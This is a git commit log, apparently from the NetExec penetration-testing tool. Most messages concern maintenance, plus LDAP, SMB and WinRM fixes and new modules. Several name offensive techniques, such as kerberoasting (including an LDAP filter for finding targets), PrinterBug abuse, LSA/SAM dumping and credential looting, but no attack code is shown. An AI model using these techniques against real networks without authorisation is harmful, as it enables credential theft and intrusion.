2024-04-02 16:14:41 -04:00
Alexander Neff 3e3b37fe1a Fixing lock file 2024-04-02 15:39:48 -04:00
Marshall Hallenbeck 6856d2696a feat(logging): parse debug and verbose args early, so we can properly debug log during cli_arg generation 2024-04-02 13:35:47 -04:00
Alexander Neff 59297e83d5 Fixing lock file 2024-04-02 07:32:56 -04:00
Alexander Neff 41992be628 Merging main into marshall-version-setting 2024-04-02 07:30:36 -04:00
Alex da7c507f3f Merge pull request #126 from Kahvi-0/main
--kerberoast Improvement
2024-04-01 20:57:46 -04:00
Alex 72eeb7e31d Merge branch 'main' into main 2024-04-01 19:46:20 -04:00
Alex cd0d3c8f41 Merge pull request #234 from Pennyw0rth/remove-git-deps
Remove oscrypto and swap back to fortra/impacket
2024-04-01 19:39:20 -04:00
Alexander Neff df4ebf3131 Rewriting lock file 2024-04-01 17:20:46 -04:00
Alex 75e9316104 Merge pull request #242 from Pennyw0rth/neff-qol
Neff qol the second
2024-04-01 17:11:15 -04:00
Marshall Hallenbeck ecf5772e86 fix: attempt to split version, and if it fails, then fallback to normal versioning (only happens with poetry) 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 2562b60344 add version back in for when doing poetry dev, since by default it doesnt leverage build-system 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 7c68ab4db6 add commit output to help print 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck a7b6ccf171 set poetry-core back to >= 1.2 2024-04-01 14:23:41 -04:00
mpgn 0ecdfd3564 fixing dynamic version 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck dd075d4dcf fix(deps): change poerty-core back to 1.2 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck cee3430be7 feat(versioning): add git commit to version command, so we know exactly what code is being ran during issue triage 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 01c4a4479a Merge pull request #235 from Pennyw0rth/users-enum-fix
fix --users for LDAP proto
2024-04-01 12:32:03 -04:00
Marshall Hallenbeck 2e493f788d readd exit(1)s for parameter missing failures 2024-04-01 12:29:33 -04:00
Marshall Hallenbeck e348965910 fix(nanodump): properly pass logger 2024-04-01 12:29:33 -04:00
Marshall Hallenbeck b1a07259db fix(add-computer): remove exit(1)s since it caused tests to fail even though there was no programatic failure 2024-04-01 12:29:33 -04:00
Alexander Neff 59a201a8db Catch known error instead of printing traceback 2024-04-01 11:05:25 -04:00
Alexander Neff c331ebec12 Set default worker amount to /24 subnet 2024-04-01 11:05:07 -04:00
Alex 2457ac0259 Merge pull request #236 from swisskyrepo/winlogon-autologon
Winlogon Autologon module
2024-03-31 21:17:10 -04:00
Alex e14bbaf5a3 Merge branch 'main' into remove-git-deps 2024-03-31 21:12:41 -04:00
Alex e728c15c6d Merge branch 'main' into winlogon-autologon 2024-03-31 13:59:44 -04:00
Alex 0eeddfbf83 Merge pull request #240 from Pennyw0rth/neff-qol
Small QOL changes
2024-03-31 13:54:55 -04:00
Alexander Neff 67bf99b39c Add info log message if connection couldn't be established 2024-03-30 21:09:00 +01:00
Alexander Neff 1ba3d04a1d Fix tests 2024-03-30 21:05:03 +01:00
Alex 4b35ab7a9e Merge pull request #230 from Pennyw0rth/neff-cli
Fix testing and linting
2024-03-30 01:16:56 +01:00
Alex b73eabafdd Merge pull request #238 from Pennyw0rth/Marshall-Hallenbeck-patch-1
rename MAQ.py to maq.py
2024-03-30 01:10:47 +01:00
Alexander Neff 3937f46fd6 Remove casting to lower in module names and rename MAQ.py -> maq.py 2024-03-30 01:01:48 +01:00
Marshall Hallenbeck f6c5073ed9 rename MAQ.py to maq.py
it should not be capitalized

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-03-29 19:21:04 -04:00
Alexander Neff 8f2c847815 Remove old test.txt 2024-03-29 21:16:35 +01:00
Swissky c659d75ae4 Winlogon Autologon module 2024-03-29 20:36:51 +01:00
zblurx 5f454a177d fix mremoteng module options 2024-03-28 14:27:33 +01:00
zblurx 63d6e19208 Merge branch 'main' into users-enum-fix 2024-03-28 14:21:02 +01:00
zblurx 7cd29c3833 fixed ruff warnings 2024-03-28 14:07:39 +01:00
Alex 114784911c Add py3.12 testing 2024-03-28 14:06:41 +01:00
zblurx 282ddb6383 update lock file 2024-03-28 14:02:22 +01:00
zblurx bcf4202076 Merge branch 'main' into passwords_dump_update 2024-03-28 13:50:08 +01:00
zblurx f1e273f4c8 add mremoteng 2024-03-28 13:49:00 +01:00
Alexander Neff cb40697cef Remove oscrypto and swap back to fortra/impacket 2024-03-27 22:41:15 +01:00
Alexander Neff 4af3705c4f Remove loading tests from linting 2024-03-27 20:44:55 +01:00
Alexander Neff c11a4353ce Remove exception => runner should not fail now 2024-03-27 20:40:45 +01:00
Alexander Neff 0626bbc729 Fix tests 2024-03-27 20:38:51 +01:00
Alexander Neff 4fb457c57a Temporarly add test to linting in order to run test the tests (lol) 2024-03-27 20:37:26 +01:00
Alexander Neff b85add8de9 Add cli testing 2024-03-27 20:35:02 +01:00
Alexander Neff cec36e7e24 Update testing README, rename file to match README and add small test suite 2024-03-27 20:17:05 +01:00
Alexander Neff 840b4dd834 Delete pytest job and add caching 2024-03-27 17:02:01 +01:00
Alex 15d52b778b Merge pull request #231 from Pennyw0rth/marshall-logging-fix 2024-03-27 12:57:15 +01:00
Marshall Hallenbeck eaeda89278 change normal output from DEBUG to INFO 2024-03-27 07:54:23 -04:00
Marshall Hallenbeck 52754f6eba Merge pull request #229 from Pennyw0rth/marshall-logging-fix
Logging fixes (double logging & function caller obfuscation)
2024-03-27 06:35:34 -04:00
zblurx e8a083e58c fix --users for LDAP proto 2024-03-27 11:07:23 +01:00
Alex 69747b9cba Update test.yml 2024-03-27 04:37:14 +01:00
Alex fdcda98d0a Update lint.yml 2024-03-27 04:13:37 +01:00
Alex d03f19eff3 Update lint.yml 2024-03-27 04:12:02 +01:00
Alex deededf441 Update test.yml 2024-03-27 04:11:11 +01:00
Alex 220cecdc0e Update lint.yml 2024-03-27 04:09:11 +01:00
Alexander Neff 32583e94e1 Add ability to trigger test manually 2024-03-27 04:03:46 +01:00
Alexander Neff 9106c9ab0d Lint only on push 2024-03-27 03:58:30 +01:00
Alexander Neff 8235bbdbc0 Fix linting 2024-03-27 03:57:39 +01:00
Alexander Neff e9583ca56c Fix linting 2024-03-27 03:54:31 +01:00
Alexander Neff ffa964647b Fix linting 2024-03-27 03:51:06 +01:00
Alexander Neff c7fcdee1d5 Reenable testing pipeline 2024-03-27 03:49:07 +01:00
Alexander Neff 7a226877e8 Fix testing and linting 2024-03-27 03:42:27 +01:00
Marshall Hallenbeck 22da1831ec fix(logging): do not double log output in debug mode; properly show calling file & lineno for such messages 2024-03-26 21:55:05 -04:00
Alex bf737f186d Merge pull request #227 from Pennyw0rth/neff-ldaps-port
Several ldap bug fixes
2024-03-27 02:36:40 +01:00
Marshall Hallenbeck b80aa433d2 Merge pull request #222 from Pennyw0rth/neff-loggedon_users
Make loggedon-users unique to reduce spam and fix alignment
2024-03-26 20:35:13 -04:00
Marshall Hallenbeck 5bd689177f Merge pull request #228 from termanix/patch-1
Module 'get-desc-users' Update - Marshall's #201 Issue Bug Fix
2024-03-26 16:09:19 -04:00
termanix b122a39b15 Update get-desc-users.py
Removed space

Signed-off-by: termanix <[email protected]>
2024-03-25 17:15:06 +03:00
termanix 41ed36d6fa Marshall's #201 Bug Fix
reges edited and output lines added.

Signed-off-by: termanix <[email protected]>
2024-03-25 17:11:15 +03:00
Alex bfe7e46800 Merge pull request #152 from Pennyw0rth/neff-ldap-domain 2024-03-25 12:37:04 +01:00
Alex 2e311a150b Merge pull request #224 from termanix/Update_active_users
Update LDAP active users lookup to match SMB
2024-03-24 19:05:34 +01:00
Alexander Neff 774f77e719 Fixing output if typo in username, fix indent when querying for specific user and formating 2024-03-24 19:01:29 +01:00
Alexander Neff e691e350a9 Fix wrongly displayed domain when using wmi 2024-03-24 18:24:18 +01:00
Alexander Neff 0917a05188 Fix wrongly displayed domain when using winrm and remove duplicate statement 2024-03-24 18:17:08 +01:00
Alexander Neff 04b0b3aa6b Fix wrongly displayed domain when using domain trust in mssql 2024-03-24 18:07:48 +01:00
Alexander Neff 63f9f3507e Small fix for ldap domain with no-ntlm 2024-03-24 18:07:19 +01:00
Alex 09a50d8043 Merge branch 'main' into neff-ldap-domain 2024-03-24 16:23:13 +01:00
termanix e31742ec67 Merge branch 'main' into Update_active_users 2024-03-24 10:41:37 +03:00
Alex a6935b4d8d Merge pull request #218 from Pennyw0rth/neff-enum_av
Fixing antivirus enumeration
2024-03-24 03:03:28 +01:00
Alexander Neff 041645aed9 Fix ldap not reporting DA when using hash login 2024-03-24 02:46:58 +01:00
Alexander Neff 6a24d76db9 Now adding the message, oops 2024-03-24 02:46:35 +01:00
Alexander Neff eb244948e6 Add log message to explain potential ldap channel binding 2024-03-24 02:44:23 +01:00
Marshall Hallenbeck 8940badc09 Merge pull request #216 from Pennyw0rth/ldap-checker-fix
[ldap-checker] Module fix
2024-03-23 14:04:16 -04:00
Marshall Hallenbeck d8284f9178 Merge pull request #226 from Pennyw0rth/issues/221
BloodHound & hash_spider fixes
2024-03-23 09:59:41 -04:00
Marshall Hallenbeck 934ba6f139 fix(hash_spider): fix old db function call for hosts; fixes #221 2024-03-22 14:50:01 -04:00
Marshall Hallenbeck a9bd576392 fix(bloodhound): fail out right away if Bloodhound is enabled and authentication fails to the API 2024-03-22 14:50:01 -04:00
Marshall Hallenbeck 58d2039553 update default bloodhound password 2024-03-22 14:50:01 -04:00
zblurx a6f09e7166 cleanup 2024-03-22 17:44:31 +01:00
zblurx af9dfcfeb5 vnc module working 2024-03-22 17:35:51 +01:00
termanix 6c3746643e Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:24:41 +03:00
termanix e0b6f571c8 Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:22:10 +03:00
termanix fc40c778fe Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:12:26 +03:00
termanix 9603f8f450 Update ldap.py
Fixed single quotes and blank spaces

Signed-off-by: termanix <[email protected]>
2024-03-22 19:04:40 +03:00
termanix 7c07ab04d7 Update ldap.py
line 914 and 916 Comparison edited to "is"

Signed-off-by: termanix <[email protected]>
2024-03-22 18:58:45 +03:00
termanix c1a2a92816 Update LDAP active users lookup to match SMB 2024-03-22 18:42:33 +03:00
Marshall Hallenbeck 3dc84e1228 Merge pull request #215 from Pennyw0rth/marshall-ldap-users
Update LDAP users lookup to match SMB
2024-03-22 10:50:49 -04:00
Alexander Neff 1e517c8313 Fix ruff 2024-03-22 12:47:40 +01:00
Alexander Neff c123e37d4e Make loggedon-users unique to reduce spam and fix alignment 2024-03-22 12:43:17 +01:00
Alex 58c0529264 Merge branch 'main' into neff-enum_av 2024-03-22 10:36:27 +01:00
Marshall Hallenbeck 40e99913e3 change extra output to debug statement 2024-03-21 20:45:39 -04:00
Marshall Hallenbeck e870a30416 Merge branch 'main' into marshall-ldap-users 2024-03-21 20:25:51 -04:00
Alex fb8c4bcdcd Merge pull request #220 from Pennyw0rth/marshall-proto-print-fix
Fix: module names 8-10 chars being cut off
2024-03-22 01:23:24 +01:00
Marshall Hallenbeck b0ec4b7951 fix(smb): --users display off by one :) 2024-03-21 20:16:43 -04:00
Marshall Hallenbeck e5bba812e8 fix(ldap): off by one :) 2024-03-21 20:12:06 -04:00
Alexander Neff 49e909c50a Formating 2024-03-21 20:12:06 -04:00
Alexander Neff 14e7034352 Formating 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 6a4852e013 fix/feat: remove unnecessary and ugly ldap-attributes functionality; add in badPwdCount to --users 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 3a1e93a386 ruff: apply ruff 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 762a9ac102 feat(ldap): allow for adding additional attributes when querying for users 2024-03-21 20:12:06 -04:00
Marshall Hallenbeck 0eee328ea0 feat(ldap): allow for specifying specific users to dump for ldap and print last password set date 2024-03-21 20:12:06 -04:00
Alex 0608628aff Merge pull request #214 from Pennyw0rth/issue/203
Fix SMB users lookup and return last password set date
2024-03-22 00:48:01 +01:00
Marshall Hallenbeck 020ec1758c samruser: update --user output header 2024-03-21 19:43:00 -04:00
Alexander Neff 1e68591742 Formating 2024-03-21 23:49:35 +01:00
Marshall Hallenbeck 590a4e2536 format(logger): fix some newlining stuff that got messed up during old black formatting 2024-03-21 18:20:18 -04:00
Marshall Hallenbeck 3c1927afd7 fix: modules with a name between 8 and 10 length were being erroneously cut off 2024-03-21 18:16:09 -04:00
Marshall Hallenbeck 9a915f0f24 fix/feat(samruser): add back in bad password count to --users; closes #219 2024-03-21 18:12:40 -04:00
Marshall Hallenbeck 54e6ebb017 samruser: clean auth line up 2024-03-21 17:42:05 -04:00
Alexander Neff 2e196b5a50 Fix ruff linting 2024-03-21 19:09:15 +01:00
Alexander Neff 382af18513 Fixing enum_av process enumeration and adding more info to ESET 2024-03-21 19:06:21 +01:00
Alexander Neff 39bf9b109c Stop neo4j for spamming into the debug log 2024-03-21 19:06:14 +01:00
zblurx e06b28992d fix loot for GoogleRefreshToken 2024-03-21 17:42:12 +01:00
zblurx 0d1b4537a0 update dploot dep 2024-03-21 17:41:50 +01:00
zblurx 5cf6d55679 added sccm module 2024-03-21 17:41:40 +01:00
zblurx e8fe42cb4a fix ruff warning 2024-03-21 17:09:22 +01:00
zblurx addc060077 fix ldap signing check 2024-03-21 17:04:49 +01:00
Marshall Hallenbeck 2a66f36364 fix(users): remove domain from output, since it's implied, and set timestamp to <never> for last set password date if it should be 2024-03-20 21:57:39 -04:00
Marshall Hallenbeck 60f1785608 ruff: apply ruff 2024-03-20 18:03:28 -04:00
Marshall Hallenbeck ce9b766276 fix+feat(smb-users): allow requesting only specific users, print LastPwSet, and functionize more code for future use 2024-03-20 17:57:31 -04:00
Alex ae158614e6 Merge pull request #213 from Pennyw0rth/neff-nullauth-bh
Stop Netexec from adding null auth user to bloodhound
2024-03-20 01:02:31 +01:00
Alexander Neff d885974121 Stop nxc from trying to add null auth creds to bloodhound 2024-03-19 20:01:11 -04:00
Alex e367bf9fa8 Merge pull request #212 from Pennyw0rth/neff-fix-bloodhound-dump
Adding the fileNamePrefix which was introduced in bloodhound so files…
2024-03-20 00:58:43 +01:00
Alex 6b6decd1d7 Merge pull request #208 from Pennyw0rth/neff-fix-207
Revert #190 to enable null-auth without explicit specification
2024-03-20 00:58:15 +01:00
dt bcd0896bc1 Adding the fileNamePrefix which was introduced in bloodhound so files get properly zipped again 2024-03-19 21:24:09 +01:00
Alexander Neff 74b18fdf4e Merge branch 'main' into neff-fix-207 2024-03-18 23:34:36 +01:00
Marshall Hallenbeck e12fef0620 Merge pull request #163 from lodos2005/main
[Module] printerbug
2024-03-18 15:35:16 -04:00
Alexander Neff ca192d8f8e Revert #190 to enable functionality without explicit auth 2024-03-18 15:18:23 -04:00
Alex b62c315440 Merge pull request #65 from sebrink/main 2024-03-18 19:25:06 +01:00
Hakan Yavuz b8099a967a Merge branch 'main' into main 2024-03-17 23:36:38 -07:00
Alexander Neff dff88cb345 Use f-strings and make minor improvements 2024-03-17 02:24:24 +01:00
Alexander Neff 328b25b434 Remove unused import 2024-03-17 01:54:37 +01:00
Alexander Neff 45b02250e6 Merge branch main into neff-ldap-domain 2024-03-16 22:18:42 +01:00
Alexander Neff add1c66375 Remove check that should never happen 2024-03-16 21:33:45 +01:00
Alexander Neff efe59e33f1 Fix ruff linting 2024-03-16 19:26:10 +01:00
Alexander Neff b192c036cb Don't display observation window and lockout duration if lockout threshhold is 0, as they are disabled then 2024-03-16 19:13:11 +01:00
Alexander Neff 4d6d3bf766 Remove unused packages and display pso timedeltas as they are in active directory 2024-03-16 18:53:01 +01:00
Alexander Neff 5f88d6121a Formating and small code improvements 2024-03-16 17:10:19 +01:00
Alexander Neff 0acfc551ac Add missing imports and improve code 2024-03-16 17:03:47 +01:00
Alexander Neff 2e928d2b7c Rename module to match filename and use time conversion with packages already in nxc 2024-03-16 16:52:42 +01:00
Alexander Neff ddd36cc392 Remove unused imports 2024-03-16 16:41:30 +01:00
Alexander Neff a869c6f5e8 Merging main into fgpp and resolving conflicts 2024-03-15 00:56:38 +01:00
Marshall Hallenbeck 5d777547ed Merge pull request #206 from Pennyw0rth/marshall-issue-200-2
fix(wcc.py): properly escape for #200
2024-03-14 16:38:31 -04:00
Marshall Hallenbeck eab93ca3ee fix(wcc.py): properly escape for #200
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-03-14 16:03:31 -04:00
Alex 31aff31469 Merge pull request #41 from Shad0wC0ntr0ller/Obsolete
Extract obsolete operating systems from LDAP
2024-03-14 01:21:46 +01:00
Alexander Neff 30cab48d9b Changed manual path to nxc default path 2024-03-14 01:19:13 +01:00
Alex 632395f4d3 Merge branch 'main' into Obsolete 2024-03-14 01:13:30 +01:00
Alex cf8b2c05c0 Merge branch 'main' into main 2024-03-14 00:57:22 +01:00
Alexander Neff 64f3692624 Removing unused request options which throw an exception 2024-03-14 00:55:50 +01:00
Alexander Neff 24b00d9992 Formating 2024-03-14 00:55:25 +01:00
Alexander Neff 183d2b9dce Updated logging to use context logger and changed description 2024-03-14 00:44:47 +01:00
Marshall Hallenbeck 840446d810 Merge pull request #204 from Pennyw0rth/marshall-issue-200
Fix string escaping issues for Kali package, fix some logging, and allow for lsa and sam WinRM dumping
2024-03-13 15:21:12 -04:00
Marshall Hallenbeck d271d00eec fix(winrm): allow for --lsa and --sam at the same time, like smb allows 2024-03-13 13:02:50 -04:00
Marshall Hallenbeck 2efef82662 fix(escaping): update remaining string escaping issues for #200 2024-03-13 13:02:28 -04:00
Marshall Hallenbeck 48242de675 Merge branch 'main' into marshall-issue-200 2024-03-13 12:58:00 -04:00
Marshall Hallenbeck d11af2a296 fix(runasppl) set command string to raw and change error to debug as it is unnecessary and spammy 2024-03-13 12:50:33 -04:00
Alex 1708889721 Merge pull request #202 from Pennyw0rth/neff-update-neo4j 2024-03-13 11:00:56 +01:00
Alexander Neff 07050e153c Resolve conflicts 2024-03-12 23:22:00 +01:00
Alexander Neff bf1ab5bd76 Update neo4j python driver 2024-03-12 23:09:42 +01:00
Marshall Hallenbeck 5a1e139d85 fix: extra escape in string 2024-03-12 16:38:58 -04:00
Marshall Hallenbeck ec31181c3a fix: set string to raw 2024-03-12 16:37:03 -04:00
Marshall Hallenbeck 34db1985f3 change regex string to raw, but this module doesnt even work for checking for pws 2024-03-12 16:35:18 -04:00
Marshall Hallenbeck 2d68c179b8 fix: string formatting and improved logging for daclread 2024-03-12 15:23:08 -04:00
Marshall Hallenbeck f91cccf49e fix: string formatting for #200 2024-03-12 15:22:06 -04:00
Kahvi-0xFF 68c197d471 Improve Kerberoast Module
On a test where --kerberoast would not return a ticket for a user I knew was kerberoastable. After some digging I changed the LDAP query in ldap.py to be just "(&(servicePrincipalName=*)(!(objectCategory=computer)))". This removes the check for accounts locked out/inactive and this returned the ticket I was able to see with powerview. 

Personally would still like to get tickets for users that are disabled/locked out in order to attempt to crack their password and see if the password is reused. 

I also changed the error for Bypassing disabled account {sAMAccountName} to be highlight as I thought this is nice to have.

Signed-off-by: Kahvi-0xFF <[email protected]>
2024-03-12 12:53:23 -04:00
Shad0wC0ntr0ller 56ef949c92 Update obsolete.py
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 855bc89a2f Update obsolete.py
change ' to "

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 018cc98ed3 Update obsolete.py
Add pwdLastSet

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller d99ddaaaec Update obsolete.py
Added Server 2012 to the vuln list

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 2c637eead7 Update obsolete.py
change cme to nxc

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 87fce318de Update obsolete.py
Updated separator in output 

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 68b2f01979 Extract obsolete operating systems from LDAP
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Marshall Hallenbeck a4cbd5bf5d Merge pull request #171 from Pennyw0rth/neff-rem-pyreadline
Remove pyreadline as it causes errors in nxcdb
2024-03-12 11:14:16 -04:00
XiaoliChan 059013a0ab [lib] update impacket
Signed-off-by: XiaoliChan <[email protected]>
2024-03-12 16:36:06 +08:00
XiaoliChan 751544806b Add e2e
Signed-off-by: XiaoliChan <[email protected]>
2024-03-12 10:42:20 +08:00
Alex 19b89633b1 Merge branch 'neff-rem-pyreadline' of https://github.com/Pennyw0rth/NetExec into neff-rem-pyreadline 2024-03-12 01:46:31 +01:00
Alexander Neff d6f1ee25ed Update lock file 2024-03-12 01:45:52 +01:00
Alexander Neff 1a703c6ab6 Merge main 2024-03-12 00:58:03 +01:00
XiaoliChan 9b8b2e99ec Update kdchost description
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 18:32:03 +08:00
XiaoliChan 548a5e9228 Update impacket
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 18:26:40 +08:00
XiaoliChan fc9bf7f4e5 [LDAP] Fix logic with no-smb
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 14:51:35 +08:00
XiaoliChan 5efa1ef7f0 [LDAP] Fix logic with no-smb
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 14:40:17 +08:00
XiaoliChan 48be975341 [DNS] Clean SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:46:14 +08:00
XiaoliChan 218518dbb6 [DNS] Clean SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:19:48 +08:00
XiaoliChan 35d3a3d3c1 [DNS] Fix mssql
Signed-off-by: XiaoliChan <[email protected]>

[DNS] Fix mssql

Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:03:22 +08:00
XiaoliChan 3dcca25081 Merge remote-tracking branch 'upstream/main' into dns 2024-03-10 09:56:04 +08:00
XiaoliChan 9131e5cf9b Ruff
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 09:55:50 +08:00
XiaoliChan 2b75ed6784 [DNS] Fix RDP & ldap-checker
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 09:44:05 +08:00
Marshall Hallenbeck 3f31b2e231 Merge pull request #190 from Pennyw0rth/mpgn-patch-2
Update connection.py to force login
2024-03-09 12:34:28 -05:00
XiaoliChan 233136ae3e clean up
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 00:48:38 +08:00
XiaoliChan 55a4486dbe [mmcexec] avoid kerberos auth
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 22:56:39 +08:00
XiaoliChan 43576de135 [DNS] fix dcom
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 22:43:58 +08:00
XiaoliChan b42a7f17f5 [wmi] fix rdp
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 21:40:59 +08:00
XiaoliChan 30dd0cec91 Update impacket version
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 20:56:34 +08:00
XiaoliChan 5fd9e9b9a3 [DNS] Fix mssql
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 18:37:33 +08:00
mpgn 8215eaa27a Update connection.py
Signed-off-by: mpgn <[email protected]>
2024-03-09 01:52:50 -05:00
XiaoliChan 11600f7767 [DNS] Fix wmi
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 184551ee30 [DNS] Fix module with kerberos
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 1f4dcdc4e9 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan cd5f8e7e47 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 3cf689c7f8 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan ee6b74bbb8 [DNS] Ready for kdcHost
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
mpgn 8010f10552 fix ruff check 2024-03-09 01:52:16 -05:00
mpgn 05430a679e Set info as info 2024-03-09 01:52:16 -05:00
mpgn 30e9f0f153 Add ldap destination IP to be compatible with dns resolution 2024-03-09 01:52:16 -05:00
XiaoliChan 5fe1d988ea [DNS] Add DNS args
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
Marshall Hallenbeck d9e46dbb1f Merge pull request #136 from XiaoliChan/mssql-improv
[MSSQL] Improvement
2024-03-09 01:52:00 -05:00
XiaoliChan 9120d1d5dc [mssql] mpgn: review
Signed-off-by: XiaoliChan <[email protected]>
2024-03-04 21:24:37 +08:00
XiaoliChan 7d9ddfb1d6 Merge branch 'main' into mssql-improv 2024-03-03 20:07:00 +08:00
Alex 31b2a1f458 Merge pull request #191 from XiaoliChan/ntlm_parser
[lib] Improve ntlm_parser.py
2024-03-03 07:03:34 -05:00
Alex d6952025aa Merge pull request #193 from Pennyw0rth/Marshall-Hallenbeck-patch-1
Update README.md
2024-03-03 06:55:53 -05:00
Marshall Hallenbeck 88769b1b0d Update README.md
add Linux installation directly to README
fix french->english :P

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-03-02 20:47:39 -05:00
zblurx ac2a56ef46 fix ldap-checker module 2024-02-29 16:36:53 +01:00
XiaoliChan 4a085781cf [mssql] Ready for PR #191
Signed-off-by: XiaoliChan <[email protected]>
2024-02-29 13:37:04 +08:00
XiaoliChan 423b70bcfb [lib] Improve ntlm_parser.py
Signed-off-by: XiaoliChan <[email protected]>
2024-02-29 13:26:00 +08:00
Alex 0d1c8bcdef Remove pyreadline as it causes errors in nxcdb 2024-02-28 12:49:37 -05:00
XiaoliChan 3af5186960 [mssql] remove drop mssql-ntlm-parser.py
Signed-off-by: XiaoliChan <[email protected]>
2024-02-28 12:47:56 +08:00
XiaoliChan 387538a979 Merge branch 'main' into mssql-improv 2024-02-28 09:14:02 +08:00
Alex ac60614474 Merge pull request #172 from XiaoliChan/winrm-ntlm-info
[winrm] say goodbye to SMB
2024-02-27 19:00:06 -05:00
Alexander Neff 9f0ac2cf90 Added fallback if build version is not available (yet) 2024-02-28 00:55:29 +01:00
XiaoliChan 1d1c03be7a [winrm] better os info
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
Alexander Neff 7e0c0e0c07 Formating 2024-02-27 18:40:59 -05:00
Alexander Neff 1e12cadb33 Removed unused conditional function, removed "NT" from windows version so it matches SMB enumeration 2024-02-27 18:40:59 -05:00
XiaoliChan 19ee066542 [winrm] Ruff
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
XiaoliChan 217cf21cff [winrm] Clean args.py
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
XiaoliChan 9ceab247a8 [winrm] say goodbye to SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
Josh 7a46f9eb64 Update enum_ca.py
Signed-off-by: Josh <[email protected]>
2024-02-27 17:58:23 +01:00
Alexander Neff 97af55337c Added proposal by Dfte and formating 2024-02-27 17:58:23 +01:00
Josh bf61e93466 Update enum_ca.py
Updated as requested

Signed-off-by: Josh <[email protected]>
2024-02-27 17:58:23 +01:00
Josh b20f6e199d Update enum_ca.py
removed newline on line 1

Signed-off-by: Josh <[email protected]>
2024-02-27 17:58:23 +01:00
Josh a6fbdbff2b linted
ran through ruff
2024-02-27 17:58:23 +01:00
Josh c0ac682722 New Module
added anonymous ADCS CA enumeration module
2024-02-27 17:58:23 +01:00
Marshall Hallenbeck 6454ee7467 Merge pull request #186 from Pennyw0rth/neff-audit-mode
Fix audit_mode in ldap
2024-02-27 11:25:46 -05:00
Alexander Neff b7df87c7f7 Fix audit_mode in ldap 2024-02-27 11:23:45 -05:00
XiaoliChan 2a497f4965 Merge branch 'main' into mssql-improv 2024-02-27 17:56:33 +08:00
Alex 71ed38276a Merge pull request #187 from Pennyw0rth/neff-update-impacket
Update impacket dependency to pull latest changes
2024-02-27 04:40:50 -05:00
Alexander Neff 26c35b3811 Update impacket dependency to pull latest changes 2024-02-27 10:33:11 +01:00
XiaoliChan b8912b5166 [nanodump] Bug fixed
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 16:09:04 +08:00
XiaoliChan 1454b265ae Merge branch 'main' into mssql-improv 2024-02-27 14:12:46 +08:00
Hakan Yavuz 7909477ef7 Update printerbug.py
fix linter

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz 2feece33e6 Update printerbug.py
Fix linter

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz fddcf67a65 Update printerbug.py
Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz e422a17080 Update printerbug.py
Fix trigger

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz 188f909e64 Create printerbug.py
Add MS-RPRN abuse (PrinterBug)

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Marshall Hallenbeck a70baec753 Merge pull request #173 from Dfte/main
Update ntlmv1.py
